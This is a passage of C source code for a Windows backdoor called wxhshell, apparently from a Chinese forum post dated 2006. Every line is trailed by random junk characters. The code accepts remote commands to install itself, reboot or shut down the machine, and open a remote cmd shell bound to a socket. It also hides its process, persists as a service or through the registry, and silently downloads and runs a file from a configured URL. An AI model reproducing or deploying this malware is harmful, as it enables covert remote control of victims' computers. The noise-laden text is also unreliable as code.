  case '?': { & V*_\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X; ~3 U 9  
    break; 8 2EH'C  
  } W=[.. d  
  // 安装 l6[0i  
  case 'i': { _&U5 u  
    if(Install()) Po~u-5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (_9cL,v  
    else P B W.nm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =:4vRq [  
    break; JdP[ cN  
    } 5S;|U&f|  
  // 卸载 UP8=V>T02  
  case 'r': { y [pU8QSt  
    if(Uninstall()) ?HsQ417.H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sh]g]xR  
    else NV[_XXTv7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); , :10  
    break; $69ef[b  
    } &3o[^_Ti  
  // 显示 wxhshell 所在路径 _:ORu Vk  
  case 'p': { kOQq+_Y  
    char svExeFile[MAX_PATH]; f19~B[a  
    strcpy(svExeFile,"\n\r"); KBb{Z;%  
      strcat(svExeFile,ExeFile); a2z1/Nh  
        send(wsh,svExeFile,strlen(svExeFile),0); W=$cQ(x4Z  
    break; Xv5|j/<~p  
    } TqZ&X| G  
  // 重启 $PNS`@B  
  case 'b': { MV~-']2u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HZG<aY="  
    if(Boot(REBOOT)) FTA[O.tiG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,^>WC G  
    else { Py3Y*YP  
    closesocket(wsh); :We}l;.jQ  
    ExitThread(0); ~I_v {  
    } Y(` # J[  
    break; }+" N '  
    } .QaHE`e{  
  // 关机 cSkJlhwNn  
  case 'd': { ]rhxB4*1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W8/8V,  
    if(Boot(SHUTDOWN)) +( *;F4>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TsX(=N_  
    else { }EW@/; kC  
    closesocket(wsh); rl <! h5  
    ExitThread(0); neHozmm|  
    } T9N&Nh7 3  
    break; JLZ[sWP='  
    } X5M{No>z  
  // 获取shell AIx,c1G]K  
  case 's': { 8" x+^  
    CmdShell(wsh); 'A|OVyH  
    closesocket(wsh); 0UHX Li47Y  
    ExitThread(0); :=0XT`iY  
    break; vbZGs7%  
  } #kuk3}&  
  // 退出 |&>!"27;w  
  case 'x': { @\!9dK-W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6]#\|lds1  
    CloseIt(wsh); \[-z4Fxg|'  
    break; s`bC?wr5h  
    } /f:)I.FUm  
  // 离开 )ny,vcU]  
  case 'q': { _>/T<Db  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2WA =U]  
    closesocket(wsh); 7\q_^  
    WSACleanup(); Z1(-FT6O  
    exit(1); ~+y0UEtq7  
    break; aWLeyXsAu  
        } CQq'x +{F  
  } owA0I'|V-A  
  } Lnk!zj  
4HG@moYn@  
  // 提示信息 eBK s-2r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NjTVinz  
} !`BK%m\8  
  } _t:l:x.;T  
$ljgFmR_  
  return; u% ^Lu.l_c  
} KAR XC,z  
F4m Q#YlrS  
// shell模块句柄 IZm_/  
int CmdShell(SOCKET sock) 8Ee bWs*1  
{ /mB'Fn6)  
STARTUPINFO si; g5EdW=Dt,  
ZeroMemory(&si,sizeof(si)); ;|2h&8yX(/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =A6/D    
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;w(]z  
PROCESS_INFORMATION ProcessInfo; N.J;/!%!  
char cmdline[]="cmd"; ?kICYtY:_b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ${$XJs4  
  return 0; -DO*,Eecv  
} 23/!k}G"  
)e)@_0  
// 自身启动模式 &FWPb#  
int StartFromService(void) JJnZbJti  
{ LzEAA{  
typedef struct Co2* -[R  
{ ~Od4( }/G  
  DWORD ExitStatus; 9T47U; _)  
  DWORD PebBaseAddress; PmtBu`OkV  
  DWORD AffinityMask; (89NK]2x  
  DWORD BasePriority; 2`#jw)dM;}  
  ULONG UniqueProcessId; r)|X?   
  ULONG InheritedFromUniqueProcessId; 5Wj+ey^ ^w  
}   PROCESS_BASIC_INFORMATION; ,L+tm>I  
l`2X'sw[/  
PROCNTQSIP NtQueryInformationProcess; 29"eu#-Qj  
w5l:^^zF(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PXGS5,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D[)")xiG  
d"nz/$  
  HANDLE             hProcess; =2#a@D6Bl  
  PROCESS_BASIC_INFORMATION pbi; 9i)E<.6  
iTU 8WWY<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,P^pDrc  
  if(NULL == hInst ) return 0; tb7Wr1$<  
'Y+AU#1~H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Fzk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {& G7 Xa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9&}`.Py  
\4wM8j  
  if (!NtQueryInformationProcess) return 0; Lj"~6l`)  
w:Fi 2aJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %}cGAHV  
  if(!hProcess) return 0; =:a H2T*  
9Ot;R?>(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2 [a#wz'  
o #{D;'  
  CloseHandle(hProcess); [~ bfM6Jw  
<ns[( Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m~9Qx`fi`  
if(hProcess==NULL) return 0; CGIcuHp  
@FL?,_,Y{  
HMODULE hMod; vV1F|  
char procName[255]; 9Y 1&SEsNX  
unsigned long cbNeeded; Q44Pg$jp  
d$s1l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qUSImgg  
cu|gM[  
  CloseHandle(hProcess); gd[jYej'RP  
cTm oz.0  
if(strstr(procName,"services")) return 1; // 以服务启动 cj-P&D[Ny[  
Qvs}{h/  
  return 0; // 注册表启动 >z6 (fM`i  
} 7/NXb  
DW@PPvfs  
// 主模块 <OF7:f  
int StartWxhshell(LPSTR lpCmdLine) XF(I$Mxl6  
{ e0"R7a  
  SOCKET wsl; _n_lO8mK  
BOOL val=TRUE; $<2r;'?0D  
  int port=0; Kxz<f>`b/  
  struct sockaddr_in door; d<. hkNN  
zcD&xoL\H  
  if(wscfg.ws_autoins) Install(); =6imrRaaV  
%(Sy XZ  
port=atoi(lpCmdLine); * 7.!"rb8A  
B;[{7J]  
if(port<=0) port=wscfg.ws_port; < i*v  
[=9-AG~}  
  WSADATA data; R9D< lX0%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S*],18z?  
q=ZLSBZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MhNzmI&`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0/S|P1!b  
  door.sin_family = AF_INET; +ZtqR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V0z.w:-  
  door.sin_port = htons(port); 8I$B^,N  
0G1?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |{+D65R  
closesocket(wsl); R!;tF|]  
return 1; 5b3Wt7  
} _ 0%sYkUc  
]p:x,%nm  
  if(listen(wsl,2) == INVALID_SOCKET) { y7dnXO!g9-  
closesocket(wsl); {NXc<0a(  
return 1; f:\jPkf'  
} .2/(G{}U  
  Wxhshell(wsl); XP *pYN  
  WSACleanup(); r^-3( 77n  
-X5rGp++  
return 0; AJ[g~ s't  
G!T)V2y  
} vC[)/w  
7$WO@yOsh  
// 以NT服务方式启动 `%p}.X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "2(lgxhj  
{ *O,\/aQ+  
DWORD   status = 0; Bx0^?>  
  DWORD   specificError = 0xfffffff; 6tB-  
qCOv4b`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1uz9zhG><  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {^>m3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "12.Bi.O"[  
  serviceStatus.dwWin32ExitCode     = 0; .5|AX6p+^  
  serviceStatus.dwServiceSpecificExitCode = 0; p{xO+Nx1a  
  serviceStatus.dwCheckPoint       = 0; 'W usEME  
  serviceStatus.dwWaitHint       = 0; sguE{!BO  
,Y=r] fk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P}N%**>`  
  if (hServiceStatusHandle==0) return; 1U.se` L  
GiJ|5"  
status = GetLastError(); ,n TC7V  
  if (status!=NO_ERROR) Y*;Z(W.V#  
{ aAiSP+#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g* F?  
    serviceStatus.dwCheckPoint       = 0; su/l'p'  
    serviceStatus.dwWaitHint       = 0; ~V[pu  
    serviceStatus.dwWin32ExitCode     = status; ;X-~C.7k  
    serviceStatus.dwServiceSpecificExitCode = specificError; csz/[*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6 /gh_'&  
    return; .x5Y fe  
  } J?Brnf.  
KRQKL`}}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _HX 1E  
  serviceStatus.dwCheckPoint       = 0; m]} E0  
  serviceStatus.dwWaitHint       = 0; ~Wjm"|c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v~e@:7d i  
} D% } ?l  
uFOxb}a9v  
// 处理NT服务事件,比如:启动、停止 o0^..f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K@Q_q/(%;  
{ v Ic 0V  
switch(fdwControl) _"SE^_&c  
{ _*h,,Q  
case SERVICE_CONTROL_STOP: _ fha9`  
  serviceStatus.dwWin32ExitCode = 0; Q( .d!CQ>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zJWBovT/  
  serviceStatus.dwCheckPoint   = 0; jnsV'@v8Nj  
  serviceStatus.dwWaitHint     = 0; dqO!p6  
  { >B/ jTn5=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A|1 TE$  
  } 9YRoWb{y  
  return; IJ2]2FI  
case SERVICE_CONTROL_PAUSE: 0gO<]]M?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T{3C3EE?]  
  break; md:$O C3  
case SERVICE_CONTROL_CONTINUE: #3vq+mcn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pV{MW#e  
  break; Yh)yp?  
case SERVICE_CONTROL_INTERROGATE: l:mC'aR  
  break; Q1J./C}  
}; 0KO_bF#EB=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fj}|uiOQUS  
} 8aZuI|z  
2*Hw6@Jj  
// 标准应用程序主函数 Q3> 3!FAO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jjbBv~vs  
{  /B)ZB})z  
DqyJ]}|  
// 获取操作系统版本 rU<NHFGj4  
OsIsNt=GetOsVer(); ga&l.:lo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9 X}F{!p~1  
.WM0x{t/  
  // 从命令行安装 sKYb&2 wJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); rOQhS]TP*  
v9R#=m/=  
  // 下载执行文件 q(<#7 spz  
if(wscfg.ws_downexe) { Bv_C *vW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T)wc{C9w  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6z v+Av:  
} meunAEe  
v(D{_  
if(!OsIsNt) { 1;cV [&3  
// 如果时win9x,隐藏进程并且设置为注册表启动 {|?OKCG{  
HideProc(); \hN\px  
StartWxhshell(lpCmdLine); CqX2R:#  
} p6m]( Jg  
else aiVd^(  
  if(StartFromService()) "+3p??h%Rq  
  // 以服务方式启动 jqxeON  
  StartServiceCtrlDispatcher(DispatchTable); Uf )?sz  
else & V :q}Q  
  // 普通方式启动 fy04/_,q  
  StartWxhshell(lpCmdLine); bK;I:JK3  
RG/M-  
return 0; Gxu   
}
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只看该作者 1 发表于: 2006-10-10
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